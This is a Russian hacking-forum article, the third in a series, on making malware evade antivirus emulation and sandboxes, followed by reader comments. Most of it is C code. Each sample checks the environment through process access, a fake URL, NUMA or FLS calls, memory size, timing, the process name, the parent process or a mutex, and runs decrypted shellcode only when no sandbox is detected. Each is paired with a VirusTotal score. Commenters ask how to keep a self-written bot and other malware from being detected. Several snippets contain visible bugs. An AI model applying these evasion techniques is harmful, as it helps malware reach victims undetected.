• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Обход антивирусов. Антиэмуляция, обход сигнатур и все все все. Часть III.

Все части
Часть I
Часть II

В этой статье мы продолжим рассматривать методы обхода антивирусов.

ВНИМАНИЕ: Автор не призывает к нарушению УК РФ, а предоставляет информацию для общего развития. Автор не несёт ответственности за ваши действия.

Метод «Я не должен этого делать!»

Пример 1: Попытка открыть системный процесс


Этот код просто пытается открыть системный процесс с номером 4 со всеми правами, который обычно является системным. Если код не запущен с системой MIC и сессией 0, то эта затея должна провалиться (OpenProcess возвращает 0).

C:
int main( void )
{
  HANDLE file;
  HANDLE proc;

  proc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 4);

  if( proc == NULL )
  {
    decryptCodeSection();
    startShellCode();
  }

  return 0;
}

VirusTotal счёт:
11/55

Из-за эвристического анализа, функция OpenProcess была принята за вредоносный backdoor. Этот пример показывает, что окружение при эмуляции, не такое как всегда.

Пример 2: Попытка открыть несуществующий URL

Метод, который часто используется чтобы определить то, что мы в песочнице, - это загрузка определенного файла из Интернета и сравнение его хеша с хешем, оригинальным хешем кода. Почему это работает? Потому что окружение песочницы не даёт потенциальному вредоносному файлу доступ в интернет. Когда проверяемый файл открывает интернет страницу в песочнице, то песочница будет отправлять сгенерированный файл. И поэтому, хеш этого файла не будет совпадать с реальным хешем.

У этого метода есть несколько проблем. Этот никогда не заработает, если у вас нет доступа в интернет. Второе, если проверяемый файл будет изменён или удалён, то код перестанет работать.

Другой метод, который не имеет этих проблем, заключается в том, чтобы попробовать получить доступ к сайту, которого не существует. В эмуляции это выйдет, а в реальном мире нет, потому что песочница/эмуляция вернёт свою сгенерированную страницу.

C:
#include <Wininet.h>
#pragma comment(lib, "Wininet.lib")

int main( void )
{
  char cononstart[] = "http://www.notdetectmalicouscode.com//"; //Несуществующий URL
  char readbuf[1024];
  HINTERNET httpopen, openurl;
 
  DWORD read;
  httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  openurl = InternetOpenUrl(httpopen, cononstart, NULL, NULL, INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE, NULL);
  if(!openurl)
  {
    InternetCloseHandle(httpopen);
    InternetCloseHandle(openurl);
    decryptCodeSection();
    startShellCode();
  }
  else
  {
    InternetCloseHandle(httpopen);
    InternetCloseHandle(openurl);
  }
}

VirusTotal счёт:
2/55

А тут уже интереснее :). Среди двух результатов, один антивирус считает, что мой загрузчик dropper (эвристические ложные срабатывания). Второй реально нашёл Meterpreter backdoor. Это правда странно. Это означает, что у этих ребят есть действительно умная система или они разрешают соединение в песочнице, которую они используют.

Этот метод может стать вашим врагом, если вы будете использовать этот метод в массовой атаке. Может произойти также как и с WannaCry, когда один программист остановил атаку одним лишь созданием сайта.

Метод «Знай своего врага»


Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).

Пример 1: Действия, которые зависят от локального пользователя

Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.

C:
#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"

int main( void )
{
  HANDLE file;
  DWORD tmp;
  LPCVOID buff = "1234";
  chat outputbuff[5] = {0};
  file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 
  if( WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL)
  {
    CloseHandle(file);
    file = CreateFile(FILE_PATH,
                          GENERIC_READ,
                          FILE_SHARE_READ,
                          NULL,
                          OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);
    if(ReadFile(file, outputbuff, 4, &tmp, NULL))
    {
      if(strncmp(buff, outputbuff, 4) == 0)
      {
        decryptCodeSection();
        startShellCode();
      }
    }
    CloseHandle(file);
  }
  DeleteFile(FILE_PATH);

  return 0;
}

VirusTotal счёт:
0/55

У антивирусов не выйдет записать и прочитать из файла, поэтому этот метод работает до сих пор.

Метод «WTF is that?»

Функций Windows API так много, что системы эмуляции не охватывают их всех.

Пример 1: Что за чёртов NUMA?


NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить .

Этот код будет работать на ПК, но не будет работать в эмуляции.

C:
int main( void )
{
  LPVOID mem = NULL;
  mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_REVERSE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
  if( mem != NULL )
  {
    decryptCodeSection();
    startShellCode();
  }
  return 0;
}

VirusTotal счёт:

0/55

Пример 2: Что за чёртов FLS?

FLS это Fiber Local Storage, используется чтобы манипулировать данными через волокна. Узнать об этом больше вы можете .

Интересно, то что некоторые эмуляторы будут всегда возвращать FLS_OUT_OF_INDEXES для функции FlsAlloc.

C:
int main( void )
{
  DWORD result = FlsAlloc(NULL);
  if( result != FLS_OUT_OF_INDEXES)
  {
    decryptCodeSection();
    startShellCode();
  }
  return 0;
}

VirusTotal счёт:
8/55

Метод «Проверяем окружение»


Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.

Пример 1: Проверяем память процесса

Используя системные инструменты, я обнаружил, что когда антивирус сканирует процесс, это влияет на его память. Антивирус будет выделять память для этого, также API процесс эмулируемого кода будет возвращать не те значения, что ожидались. В текущем процессе я буду использовать GetProcessMemoryInfo. Если этот текущий рабочий сет превышает 3 500 000 байт, я считаю, что код работает в антивирусном окружении, а если это не так, то код расшифровывается и запускается.

C:
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")

int main( void )
{
  PROCESS_MEMORY_COUNTERS pmc;
  GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));
  if( pmc.WorkingSetSize<=350000 )
  {
    decryptCodeSection();
    startShellCode();
  }
  return 0;
}

VirusTotal счёт:
1/55

Пример 2: Искажение времени

Мы знаем что функция Sleep эмулируется антивирусом. Это делается для того, чтобы избежать обхода антивируса простым вызовом Sleep. Вопрос в том, есть ли толк в Sleep, который эмулируется?

C:
#include <time.h>
#pragma comment( lib, "winmm.lib" )

int main( void )
{
  DWORD mesure1;
  DWORD mesure2;

  mesure1 = timeGetTime();
  Sleep(1000);
  if(( mesure2 > ( mesure1 + 1000 ) && ( mesure2 <  ( mesure1 + 1005 ))
  {
    decryptCodeSection();
    startShellCode();
  }
 
  return 0;
}

VirusTotal счёт:

8/55

Очень жаль, но некоторые антивирусы уже просекли этот трюк.

Пример 3: Как меня зовут?

Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать .

Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.

C:
int main( int argc, char * argv[] )
{
  if( strstr( argv[0], "test.exe" > 0 ) )
  {
    decryptShellCode();
    startShellCode();
  }
  return 0;
}

VirusTotal счёт:
0/55

Трюк остаётся актуален спустя 4 года.

Метод «Я вызываю себя!»


Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.

Пример 1: Я собственный отец.

В этом примере, исполняемый файл (test.exe) будет входить в фазу расшифровывания, только если его родительский процесс также test.exe.

C:
#include <TlHelp32.h>
#include <Psapi.h>
#pragma comment( lib, "Psapi.lib" )

int main( void )
{
  int pid = -1;
  HANDLE hProcess;
  HANDLE h = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
  PROCESSENTRY32 pe = { 0 };
  pe.dwSize = sizeof( PROCESSENTRY32 );
 
  pid = GetCurrentProcessID();
 
  if( Process32First( h, &pe )
  {
    do
    {
      if( pe.th32ProcessID == pid )
      {
        hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe.th32ParrentProcessID );
        if( hProcess != NULL )
        {
          HMODULE hMod;
          DWORD cbNeeded;
          TCHAR processName[ MAX_PATH ];
          if( EnumProcessModules( hProcess, &hMod, sizeof( &hMod ), &cbNeeded )
          {
            GetModuleBaseName( hProcess, hMod, processName, sizeof( processName )/sizeof( TCHAR ) );
            if( strncmp( processName, "test.exe",  strlen( processName ) == 0 )
            {
              decryptCodeSection();
              startShellCode();
            }
            else
            {
              startExe("test.exe");
              Sleep(1000);
            }
          }
        }
        CloseHandle( hProcess );
      }
    } while ( Process32Next( h, &pe ) );
  }
  CloseHandle( h );
  return 0;
}

VirusTotal счёт:
1/55

Обычно антивирусы не способны следовать за дочерним процессом, а будут сканировать родительский процесс (даже если их код одинаковый).

Пример 2: Сначала откроем мьютекс

В коде этого примера (test.exe), запускать фазу расшифровки мы будем только если определённый мьютекс объект всё ещё существует в системе. Трюк в том, что если объект не существует, то этот код будет создавать и вызывать новый инстанцию себя. Дочерний процесс попытается создать мьютекс до того, как родительский процесс умрёт и впадает в ERROR_ALREADY_EXIST.

C:
int main( void )
{
  HANDLE mutex;
  mutex = CreateMutex( NULL, TRUE, "muuuu" );
  if( GetLastError() == ERROR_ALREADY_EXIST )
  {
    decryptCodeSection();
    startShellCode();
  }
  else
  {
    startExe("test.exe");
    Sleep(100);
  }
  return 0;
}

VirusTotal счёт:

0/55

Другой очень лёгкий пример, который обходит антивирусы.

Заключение

Эти примеры показывают как же легко можно обойти антивирусы, когда вы используете их слабости. Для этого требуется знания о системе Windows и знать как работают антивирусы. Однако, я не говорил, что антивирусы бесполезны. Антивирусы очень полезны, они защищают от миллиона угроз. Также антивирусы очень удобны для восстановления системы. Что я говорил, так это то, что антивирусы могут быть легко одурачены, особенно при целевых атаках.

Могу посоветовать некоторые способы защиты от вредоносного ПО:
  • Никогда не запускайте программу от администратора, если вы не уверены в ней. Это золотое правило поможет защититься от 99% вредоносного ПО, без антивируса. Годами, это правило было главным для пользователей Linux.
  • Охраняйте систему. Обновления Windows имеют много новых обновлений безопасности, используйте их.
  • Используйте IDS и следите за вашей сетью. Большинство атак вредоносного ПО, не были замечены их жертвами. Спасибо NIDS и firewall логам.
Ну, на этом всё. Спасибо за внимание!
 
Последнее редактирование:
P

pavelpasha

Мне было бы интересно почитать как обойти статические сигнатуры при наличии исходного кода. Добавил несколько бесполезных циклов и обернул все возвраты в заведомо верное условие. Но что то не помогло
[doublepost=1499244176,1499179873][/doublepost]И вот еще какой вопрос. Есть чистый свеженаписанный бот. Но при попытке записать себя в автозагрузку палится эвристикой(Касперский и даже стандартный Дэфендер). Я так понимаю что крипт не поможет. Как бороться с эвристикой?
 
  • Нравится
Реакции: PusjamiRU

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
Мне было бы интересно почитать как обойти статические сигнатуры при наличии исходного кода. Добавил несколько бесполезных циклов и обернул все возвраты в заведомо верное условие. Но что то не помогло
[doublepost=1499244176,1499179873][/doublepost]И вот еще какой вопрос. Есть чистый свеженаписанный бот. Но при попытке записать себя в автозагрузку палится эвристикой(Касперский и даже стандартный Дэфендер). Я так понимаю что крипт не поможет. Как бороться с эвристикой?
Для обхода статической эвристики и статических сигнатур, нужно просто зашифровать код. А для обхода динамического анализа был посвящен весь этот цикл статей.
 
P

pavelpasha

Для обхода статической эвристики и статических сигнатур, нужно просто зашифровать код. А для обхода динамического анализа был посвящен весь этот цикл статей.
Извини, я неверно выразился. Я имел в виду обход проактивной защиты. Детект происходит только при запуске, и тот же бил только с выключенной автозагрузкой уже не палится. Дело видимо в анализе поведения.
Зашифровать бинарный код не сложно, сложно его запустить из памяти. Для этого нужен стаб, который тоже со временем начинает палиться, замкнутый круг получается. Мне интересно как нужно изменить исходный код, чтобы он перестал попадать под сигнутры. Существуют ли какие-то приемы.
 
G

giloo

Доброго времени суток! Я научилась определять нахождение в эмуляции (песочнице). Но из нее выйти не могу.
Поставила запрет на выполнение зловреда если мы в эмуляции, но ав так и не запускает меня вне эмуляции. Что делать?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!